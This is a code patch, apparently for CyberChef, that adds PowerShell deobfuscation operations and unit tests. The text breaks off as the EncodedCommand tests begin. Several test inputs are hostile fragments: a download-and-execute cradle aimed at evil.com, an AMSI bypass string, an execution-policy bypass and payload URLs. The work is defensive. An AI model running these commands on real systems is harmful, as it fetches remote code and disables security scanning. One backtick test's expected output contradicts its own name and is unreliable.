Add PowerShell deobfuscation operations (addresses #2396)

Implements five new operations under the 'Code tidy' category to
deobfuscate common PowerShell obfuscation techniques:

- PowerShell Format String Deobfuscate: resolves (-f) format operator
  expressions such as ("{0}{2}{1}" -f 'new-ob','t','jec') -> new-object
- PowerShell Decode EncodedCommand: decodes -enc / -e / -ec Base64
  UTF-16LE payloads, accepting raw tokens or full command lines
- PowerShell Backtick Remove: strips obfuscating backticks with an opt-in
  'Preserve escape sequences' mode for legitimate PS escapes
- PowerShell Concatenation Join: iteratively joins 'frag'+'ment' string
  literals, handling mixed quote types and arbitrary chain lengths
- PowerShell Char Decode: decodes [char]N and [char[]](N,N,...) casts
  supporting both decimal and 0x hex values

Each operation includes auto-detection checks for the Magic operation,
comprehensive unit tests, and OSINT-validated test cases sourced from
Emotet, AMSI bypass, and Invoke-Obfuscation real-world samples.

src/core/config/Categories.json

@@ -493,6 +493,11 @@
             "PHP Deserialize",
             "PHP Serialize",
             "Microsoft Script Decoder",
+            "PowerShell Format String Deobfuscate",
+            "PowerShell Decode EncodedCommand",
+            "PowerShell Backtick Remove",
+            "PowerShell Concatenation Join",
+            "PowerShell Char Decode",
             "Strip HTML tags",
             "Diff",
             "To Snake case",

src/core/operations/PowerShellBacktickRemove.mjs

@@ -0,0 +1,65 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+
+/**
+ * PowerShell Backtick Remove operation
+ */
+class PowerShellBacktickRemove extends Operation {
+
+    constructor() {
+        super();
+
+        this.name = "PowerShell Backtick Remove";
+        this.module = "Default";
+        this.description = "Removes obfuscating backtick characters from PowerShell code. Attackers insert backticks before regular letters to break up recognisable keywords without changing execution (<code>In&#96;voke-Ex&#96;pression</code> → <code>Invoke-Expression</code>).<br><br>By default all backticks are stripped, which maximally deobfuscates the script. Enable <b>Preserve escape sequences</b> to retain legitimate PowerShell escape sequences (<code>&#96;n</code>, <code>&#96;t</code>, <code>&#96;r</code>, <code>&#96;0</code>, <code>&#96;a</code>, <code>&#96;b</code>, <code>&#96;f</code>, <code>&#96;v</code>, <code>&#96;e</code>, <code>&#96;&quot;</code>, <code>&#96;'</code>, <code>&#96;&#96;</code>, <code>&#96;$</code>, <code>&#96;u</code>).";
+        this.infoURL = "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_special_characters";
+        this.inputType = "string";
+        this.outputType = "string";
+        this.args = [
+            {
+                name: "Preserve escape sequences",
+                type: "boolean",
+                value: false
+            }
+        ];
+        this.checks = [
+            {
+                pattern: "`[a-zA-Z0-9]",
+                flags: "",
+                args: []
+            }
+        ];
+    }
+
+    /**
+     * @param {string} input
+     * @param {Object[]} args
+     * @returns {string}
+     */
+    run(input, args) {
+        const preserveEscapes = args[0];
+
+        if (!preserveEscapes) {
+            // Strip all backticks — maximally deobfuscating.
+            return input.replace(/`/g, "");
+        }
+
+        // Preserve recognised PowerShell escape sequences by consuming each backtick
+        // together with its following character in one match. This ensures `` (two backticks)
+        // is treated as a single escape unit rather than two independent backticks.
+        //   `n `t `r `0 `a `b `f `v `e  →  control characters
+        //   `" `' `` `$                  →  literal punctuation
+        //   `u                           →  Unicode escape (PS 6+)
+        return input.replace(/`([\s\S]?)/g, (match, next) => {
+            return /[ntrabfve0"'`$u]/.test(next) ? match : next;
+        });
+    }
+
+}
+
+export default PowerShellBacktickRemove;

src/core/operations/PowerShellCharDecode.mjs

@@ -0,0 +1,78 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+
+/**
+ * PowerShell Char Decode operation
+ */
+class PowerShellCharDecode extends Operation {
+
+    constructor() {
+        super();
+
+        this.name = "PowerShell Char Decode";
+        this.module = "Default";
+        this.description = "Resolves PowerShell <code>[char]</code> cast expressions to their character values. Handles decimal and hexadecimal operands, single casts, and array forms.<br><br><b>Supported patterns</b><br><code>[char]65</code> → <code>A</code><br><code>[char]0x41</code> → <code>A</code><br><code>[System.Char]65</code> → <code>A</code><br><code>[char[]](73,69,88)</code> → <code>\"IEX\"</code><br><code>-join [char[]](73,69,88)</code> → <code>\"IEX\"</code><br><br>Invalid or out-of-range values are left unchanged.";
+        this.infoURL = "https://learn.microsoft.com/en-us/dotnet/api/system.char";
+        this.inputType = "string";
+        this.outputType = "string";
+        this.args = [];
+        this.checks = [
+            {
+                pattern: "\\[(?:System\\.)?[Cc]har\\]",
+                flags: "",
+                args: []
+            }
+        ];
+    }
+
+    /**
+     * @param {string} input
+     * @param {Object[]} args
+     * @returns {string}
+     */
+    run(input, args) {
+        let result = input;
+
+        // Resolve array form first: [char[]](65,66,67) or -join [char[]](65,66,67)
+        result = result.replace(
+            /(?:-join\s*)?\[(?:System\.)?[Cc]har\[\]\]\s*\(([^)]+)\)/g,
+            (match, nums) => {
+                try {
+                    const chars = nums.split(",").map(n => {
+                        const t = n.trim();
+                        const code = /^0x/i.test(t) ? parseInt(t, 16) : parseInt(t, 10);
+                        if (isNaN(code) || code < 0 || code > 0xFFFF) throw new RangeError();
+                        return String.fromCharCode(code);
+                    });
+                    return `"${chars.join("")}"`;
+                } catch (e) {
+                    return match;
+                }
+            }
+        );
+
+        // Resolve single [char] or [System.Char] cast (decimal or hex)
+        result = result.replace(
+            /\[(?:System\.)?[Cc]har\]\s*(0x[0-9a-fA-F]+|\d+)/g,
+            (match, code) => {
+                try {
+                    const num = /^0x/i.test(code) ? parseInt(code, 16) : parseInt(code, 10);
+                    if (isNaN(num) || num < 0 || num > 0xFFFF) return match;
+                    return String.fromCharCode(num);
+                } catch (e) {
+                    return match;
+                }
+            }
+        );
+
+        return result;
+    }
+
+}
+
+export default PowerShellCharDecode;

src/core/operations/PowerShellConcatenationJoin.mjs

@@ -0,0 +1,61 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+
+/**
+ * PowerShell Concatenation Join operation
+ */
+class PowerShellConcatenationJoin extends Operation {
+
+    constructor() {
+        super();
+
+        this.name = "PowerShell Concatenation Join";
+        this.module = "Default";
+        this.description = "Resolves PowerShell string concatenation obfuscation by joining adjacent static string literals separated by <code>+</code>. Only resolves runs where every operand is a quoted literal — expressions involving variables or sub-expressions are left untouched.<br><br><b>Example</b><br>Input: <code>'In'+'vo'+'ke'+'-'+'Item'</code><br>Output: <code>'Invoke-Item'</code><br><br>Handles single-quoted, double-quoted, and mixed-quote chains. Runs iteratively until no further reductions are possible.";
+        this.infoURL = "https://learn.microsoft.com/en-us/powershell/scripting/lang-spec/chapter-07";
+        this.inputType = "string";
+        this.outputType = "string";
+        this.args = [];
+        this.checks = [
+            {
+                pattern: "(?:\"[^\"]*\"|'[^']*')\\s*\\+\\s*(?:\"[^\"]*\"|'[^']*')",
+                flags: "",
+                args: []
+            }
+        ];
+    }
+
+    /**
+     * @param {string} input
+     * @param {Object[]} args
+     * @returns {string}
+     */
+    run(input, args) {
+        let result = input;
+        let prev;
+
+        // Iteratively collapse adjacent quoted-string pairs until stable.
+        // Four passes per iteration to cover all quote-type combinations.
+        do {
+            prev = result;
+            // "a" + "b"  →  "ab"
+            result = result.replace(/"([^"]*)"\s*\+\s*"([^"]*)"/g, (_, a, b) => `"${a}${b}"`);
+            // 'a' + 'b'  →  'ab'
+            result = result.replace(/'([^']*)'\s*\+\s*'([^']*)'/g, (_, a, b) => `'${a}${b}'`);
+            // "a" + 'b'  →  "ab"  (normalise to leading quote style)
+            result = result.replace(/"([^"]*)"\s*\+\s*'([^']*)'/g, (_, a, b) => `"${a}${b}"`);
+            // 'a' + "b"  →  'ab'
+            result = result.replace(/'([^']*)'\s*\+\s*"([^"]*)"/g, (_, a, b) => `'${a}${b}'`);
+        } while (result !== prev);
+
+        return result;
+    }
+
+}
+
+export default PowerShellConcatenationJoin;

src/core/operations/PowerShellDecodeEncodedCommand.mjs

@@ -0,0 +1,66 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+import {fromBase64} from "../lib/Base64.mjs";
+import OperationError from "../errors/OperationError.mjs";
+
+/**
+ * PowerShell Decode EncodedCommand operation
+ */
+class PowerShellDecodeEncodedCommand extends Operation {
+
+    constructor() {
+        super();
+
+        this.name = "PowerShell Decode EncodedCommand";
+        this.module = "Default";
+        this.description = "Decodes a PowerShell <code>-EncodedCommand</code> payload. The encoded command is a Base64-encoded, UTF-16LE string. Accepts the raw Base64 value, a flag-prefixed form (<code>-enc &lt;b64&gt;</code>), or a full invocation (<code>powershell.exe -w hidden -enc &lt;b64&gt;</code>).<br><br><b>Example</b><br>Input: <code>-enc SQBFAFgA</code><br>Output: <code>IEX</code>";
+        this.infoURL = "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe";
+        this.inputType = "string";
+        this.outputType = "string";
+        this.args = [];
+        this.checks = [
+            {
+                pattern: "-e(?:n(?:c(?:o(?:d(?:e(?:d(?:c(?:o(?:m(?:m(?:and?)?)?)?)?)?)?)?)?)?)?)?\\s+[A-Za-z0-9+/]+=*\\s*$",
+                flags: "i",
+                args: []
+            }
+        ];
+    }
+
+    /**
+     * @param {string} input
+     * @param {Object[]} args
+     * @returns {string}
+     */
+    run(input, args) {
+        // The Base64 payload is always the last whitespace-separated token.
+        // This cleanly handles all input forms:
+        //   "SQBFAFgA"
+        //   "-enc SQBFAFgA"
+        //   "powershell.exe -w 1 -nop -ep bypass -enc SQBFAFgA"
+        const b64 = input.trim().split(/\s+/).pop().replace(/^["']|["']$/g, "");
+
+        if (!b64) throw new OperationError("No input provided.");
+
+        const bytes = fromBase64(b64, null, "byteArray");
+
+        if (bytes.length < 2) throw new OperationError("Decoded data too short to be a valid UTF-16LE string.");
+        if (bytes.length % 2 !== 0) throw new OperationError("Decoded byte length is odd — not valid UTF-16LE.");
+
+        // Decode UTF-16LE: each character is two bytes, little-endian
+        let result = "";
+        for (let i = 0; i + 1 < bytes.length; i += 2) {
+            result += String.fromCharCode(bytes[i] | (bytes[i + 1] << 8));
+        }
+
+        return result;
+    }
+
+}
+
+export default PowerShellDecodeEncodedCommand;

src/core/operations/PowerShellFormatStringDeobfuscate.mjs

@@ -0,0 +1,71 @@
+/**
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+
+import Operation from "../Operation.mjs";
+
+/**
+ * PowerShell Format String Deobfuscate operation
+ */
+class PowerShellFormatStringDeobfuscate extends Operation {
+
+    constructor() {
+        super();
+
+        this.name = "PowerShell Format String Deobfuscate";
+        this.module = "Default";
+        this.description = "Deobfuscates PowerShell strings that use the <code>-f</code> (format) operator with reordered index placeholders. Malware authors use this technique to scramble string fragments, hiding readable commands from static analysis.<br><br><b>Example</b><br>Input: <code>(\"{0}{3}{4}{1}{2}\" -f \"S\",\"Mo\",\"de\",\"et-Stri\",\"ct\")</code><br>Output: <code>Set-StrictMode</code><br><br>All matching expressions in the input are resolved in-place. Unresolvable placeholders (e.g. out-of-range indices) are left unchanged.";
+        this.infoURL = "https://github.com/bobby-tablez/Format-String-Deobfuscator";
+        this.inputType = "string";
+        this.outputType = "string";
+        this.args = [];
+        this.checks = [
+            {
+                pattern: "\\(\\s*[\"'][^\"']*\\{\\d+\\}[^\"']*[\"']\\s*-f\\s*[\"']",
+                flags: "i",
+                args: []
+            }
+        ];
+    }
+
+    /**
+     * @param {string} input
+     * @param {Object[]} args
+     * @returns {string}
+     */
+    run(input, args) {
+        // Match: ("<template>" -f "arg0", "arg1", ...) or single-quoted variants
+        // Template captures: group 1 = double-quoted content, group 2 = single-quoted content
+        // Args captures: group 3 = the full comma-separated argument list
+        const exprRegex = /\(\s*(?:"((?:[^"\\]|\\.)*)"|'((?:[^'\\]|\\.)*)')\s*-f\s*((?:(?:"[^"]*"|'[^']*')\s*(?:,\s*(?:"[^"]*"|'[^']*')\s*)*))\s*\)/g;
+
+        return input.replace(exprRegex, (match, dqTemplate, sqTemplate, argsStr) => {
+            try {
+                const template = dqTemplate !== undefined ? dqTemplate : sqTemplate;
+
+                // Extract all quoted argument values in order
+                const argValues = [];
+                const argRegex = /"([^"]*)"|'([^']*)'/g;
+                let argMatch;
+                while ((argMatch = argRegex.exec(argsStr)) !== null) {
+                    argValues.push(argMatch[1] !== undefined ? argMatch[1] : argMatch[2]);
+                }
+
+                if (argValues.length === 0) return match;
+
+                // Substitute {N} placeholders with the corresponding argument value
+                return template.replace(/\{(\d+)\}/g, (placeholder, idx) => {
+                    const i = parseInt(idx, 10);
+                    return i < argValues.length ? argValues[i] : placeholder;
+                });
+            } catch (e) {
+                return match;
+            }
+        });
+    }
+
+}
+
+export default PowerShellFormatStringDeobfuscate;

tests/operations/index.mjs

@@ -140,6 +140,11 @@ import "./tests/PGP.mjs";
 import "./tests/PHP.mjs";
 import "./tests/ParityBit.mjs";
 import "./tests/PHPSerialize.mjs";
+import "./tests/PowerShellBacktickRemove.mjs";
+import "./tests/PowerShellCharDecode.mjs";
+import "./tests/PowerShellConcatenationJoin.mjs";
+import "./tests/PowerShellDecodeEncodedCommand.mjs";
+import "./tests/PowerShellFormatStringDeobfuscate.mjs";
 import "./tests/PowerSet.mjs";
 import "./tests/Protobuf.mjs";
 import "./tests/PubKeyFromCert.mjs";

tests/operations/tests/PowerShellBacktickRemove.mjs

@@ -0,0 +1,137 @@
+/**
+ * PowerShell Backtick Remove tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+    {
+        "name": "PowerShell Backtick Remove: basic keyword deobfuscation",
+        "input": "In`voke-Ex`pression",
+        "expectedOutput": "Invoke-Expression",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: IEX alias",
+        "input": "I`E`X",
+        "expectedOutput": "IEX",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: New-Object",
+        "input": "Ne`w-O`bje`ct",
+        "expectedOutput": "New-Object",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: multiple keywords on one line",
+        "input": "I`EX (N`ew-O`bject N`et.W`ebC`lient).Do`wnlo`adStr`ing($url)",
+        "expectedOutput": "IEX (New-Object Net.WebClient).DownloadString($url)",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: default strips all backticks including `n",
+        "input": "Write-Host `\"Hello`nWorld`\"",
+        "expectedOutput": "Write-Host \"HellonWorld\"",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [false] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: preserve mode keeps `n escape sequence",
+        "input": "Write-Host `\"Hello`nWorld`\"",
+        "expectedOutput": "Write-Host `\"Hello`nWorld`\"",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: preserve mode keeps `t tab escape",
+        "input": "col1`tcol2`tcol3",
+        "expectedOutput": "col1`tcol2`tcol3",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: preserve mode keeps `\" and `' escapes",
+        "input": "\"He said `\"hello`\"\"",
+        "expectedOutput": "\"He said `\"hello`\"\"",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: preserve mode keeps `$ to suppress variable expansion",
+        "input": "Write-Host `$notAVariable",
+        "expectedOutput": "Write-Host `$notAVariable",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: preserve mode keeps `` literal backtick escape",
+        "input": "Write-Host ``",
+        "expectedOutput": "Write-Host ``",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: preserve mode strips obfuscation but keeps escapes",
+        "input": "Inv`oke`-Ex`pression `\"Hello`nWorld`\"",
+        "expectedOutput": "Invoke-Expression `\"Hello`nWorld`\"",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: empty input",
+        "input": "",
+        "expectedOutput": "",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: no backticks — passthrough",
+        "input": "Invoke-Expression $cmd",
+        "expectedOutput": "Invoke-Expression $cmd",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: AMSI bypass pattern",
+        "input": "[Re`f].A`ss`em`bl`y.G`etT`yp`e('S`yst`em.M`an`ag`em`en`t.A`ut`om`at`io`n.A`ms`iU`ti`ls')",
+        "expectedOutput": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: digits after backtick are removed (not special)",
+        "input": "Write`1-Host",
+        "expectedOutput": "Write1-Host",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: download cradle with backtick New-Object and WebClient",
+        "input": "i`ex(Ne`w-Ob`ject N`et.W`ebCl`ient).D`ownl`oadStr`ing('http://evil.com/a.ps1')",
+        "expectedOutput": "iex(New-Object Net.WebClient).DownloadString('http://evil.com/a.ps1')",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: Set-ExecutionPolicy bypass split by backticks",
+        "input": "S`et-Ex`ecut`ionP`oli`cy By`pass -S`cop`e Pr`oces`s",
+        "expectedOutput": "Set-ExecutionPolicy Bypass -Scope Process",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: backtick inside URL string",
+        "input": "htt`p://19`2.168.1.1/pa`yload.ps1",
+        "expectedOutput": "http://192.168.1.1/payload.ps1",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: trailing backtick with no following char removed",
+        "input": "Get-Process`",
+        "expectedOutput": "Get-Process",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: preserve mode strips `P `o obfuscation, keeps `n and `\"",
+        "input": "Get-`Pr`ocess `\"Hello`nWorld`\"",
+        "expectedOutput": "Get-`Pr`ocess `\"Hello`nWorld`\"",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+    },
+    {
+        "name": "PowerShell Backtick Remove: preserve mode strips obfuscation, keeps `$ suppressor",
+        "input": "Get-`Pr`ocess `$notVar",
+        "expectedOutput": "Get-Process `$notVar",
+        "recipeConfig": [{ "op": "PowerShell Backtick Remove", "args": [true] }]
+    }
+]);

tests/operations/tests/PowerShellCharDecode.mjs

@@ -0,0 +1,137 @@
+/**
+ * PowerShell Char Decode tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+    {
+        "name": "PowerShell Char Decode: decimal single char",
+        "input": "[char]65",
+        "expectedOutput": "A",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: hex single char",
+        "input": "[char]0x41",
+        "expectedOutput": "A",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: [System.Char] form",
+        "input": "[System.Char]65",
+        "expectedOutput": "A",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: char array — IEX",
+        "input": "[char[]](73,69,88)",
+        "expectedOutput": "\"IEX\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: -join char array — IEX",
+        "input": "-join [char[]](73,69,88)",
+        "expectedOutput": "\"IEX\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: char array with hex values",
+        "input": "[char[]](0x49,0x45,0x58)",
+        "expectedOutput": "\"IEX\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: char array — New-Object",
+        "input": "[char[]](78,101,119,45,79,98,106,101,99,116)",
+        "expectedOutput": "\"New-Object\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: multiple single casts in one line",
+        "input": "[char]73 + [char]69 + [char]88",
+        "expectedOutput": "I + E + X",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: char cast embedded in script",
+        "input": "$cmd = [char[]](73,69,88); & $cmd $payload",
+        "expectedOutput": "$cmd = \"IEX\"; & $cmd $payload",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: null character",
+        "input": "[char]0",
+        "expectedOutput": "\x00",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: space character",
+        "input": "[char]32",
+        "expectedOutput": " ",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: no [char] casts — passthrough",
+        "input": "Invoke-Expression $cmd",
+        "expectedOutput": "Invoke-Expression $cmd",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: empty input",
+        "input": "",
+        "expectedOutput": "",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: mixed case [Char]",
+        "input": "[Char]65",
+        "expectedOutput": "A",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: char array with spaces after commas",
+        "input": "[char[]](73, 69, 88)",
+        "expectedOutput": "\"IEX\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: ieX via hex char array (Hatching.io sample)",
+        "input": "[char[]](0x69,0x65,0x58)",
+        "expectedOutput": "\"ieX\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: Write-Output cmdlet via decimal char array",
+        "input": "[char[]](87,114,105,116,101,45,79,117,116,112,117,116)",
+        "expectedOutput": "\"Write-Output\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: AmsiUtils via decimal char array",
+        "input": "[char[]](65,109,115,105,85,116,105,108,115)",
+        "expectedOutput": "\"AmsiUtils\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: Get-Process via hex char array",
+        "input": "[char[]](0x47,0x65,0x74,0x2d,0x50,0x72,0x6f,0x63,0x65,0x73,0x73)",
+        "expectedOutput": "\"Get-Process\"",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: Invoke-Expression embedded in script",
+        "input": "$c = [char[]](73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110); & $c",
+        "expectedOutput": "$c = \"Invoke-Expression\"; & $c",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    },
+    {
+        "name": "PowerShell Char Decode: out-of-range value left unchanged",
+        "input": "[char]99999",
+        "expectedOutput": "[char]99999",
+        "recipeConfig": [{ "op": "PowerShell Char Decode", "args": [] }]
+    }
+]);

tests/operations/tests/PowerShellConcatenationJoin.mjs

@@ -0,0 +1,119 @@
+/**
+ * PowerShell Concatenation Join tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+    {
+        "name": "PowerShell Concatenation Join: two single-quoted fragments",
+        "input": "'Invoke' + '-Item'",
+        "expectedOutput": "'Invoke-Item'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: two double-quoted fragments",
+        "input": "\"Invoke\" + \"-Expression\"",
+        "expectedOutput": "\"Invoke-Expression\"",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: three-fragment chain",
+        "input": "'In' + 'vo' + 'ke-Item'",
+        "expectedOutput": "'Invoke-Item'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: five-fragment chain",
+        "input": "'In' + 'v' + 'ok' + 'e-' + 'Item'",
+        "expectedOutput": "'Invoke-Item'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: mixed single + double quotes",
+        "input": "\"New-\" + 'Object'",
+        "expectedOutput": "\"New-Object\"",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: mixed double + single quotes",
+        "input": "'New-' + \"Object\"",
+        "expectedOutput": "'New-Object'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: embedded in a script",
+        "input": "$x = 'Do' + 'wn' + 'load' + 'File'\n$y = 'normal'",
+        "expectedOutput": "$x = 'DownloadFile'\n$y = 'normal'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: multiple independent concatenations on same line",
+        "input": "('Ne' + 'w-' + 'Ob' + 'ject') ('Do' + 'wn' + 'load' + 'File')",
+        "expectedOutput": "('New-Object') ('DownloadFile')",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: no concatenation — passthrough",
+        "input": "$x = 'Invoke-Expression'",
+        "expectedOutput": "$x = 'Invoke-Expression'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: empty input",
+        "input": "",
+        "expectedOutput": "",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: variable operand left untouched",
+        "input": "'Invoke-' + $suffix",
+        "expectedOutput": "'Invoke-' + $suffix",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: spaces inside strings preserved",
+        "input": "'Net.' + 'Web' + 'Client'",
+        "expectedOutput": "'Net.WebClient'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: extra whitespace around plus",
+        "input": "'foo'  +  'bar'",
+        "expectedOutput": "'foobar'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: IEX AMSI bypass pattern",
+        "input": "$a = 'Am' + 'si' + 'Ut' + 'ils'",
+        "expectedOutput": "$a = 'AmsiUtils'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: Emotet-style URL split",
+        "input": "'h' + 'tt' + 'p://' + '192' + '.168' + '.1' + '.71' + '/hello.ps1'",
+        "expectedOutput": "'http://192.168.1.71/hello.ps1'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: DownloadFile method name split",
+        "input": "'Down' + 'load' + 'File'",
+        "expectedOutput": "'DownloadFile'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: IEX single-char split",
+        "input": "'I' + 'E' + 'X'",
+        "expectedOutput": "'IEX'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    },
+    {
+        "name": "PowerShell Concatenation Join: Set-StrictMode split",
+        "input": "'Se' + 't-' + 'St' + 'ric' + 'tMo' + 'de'",
+        "expectedOutput": "'Set-StrictMode'",
+        "recipeConfig": [{ "op": "PowerShell Concatenation Join", "args": [] }]
+    }
+]);

tests/operations/tests/PowerShellDecodeEncodedCommand.mjs

@@ -0,0 +1,101 @@
+/**
+ * PowerShell Decode EncodedCommand tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
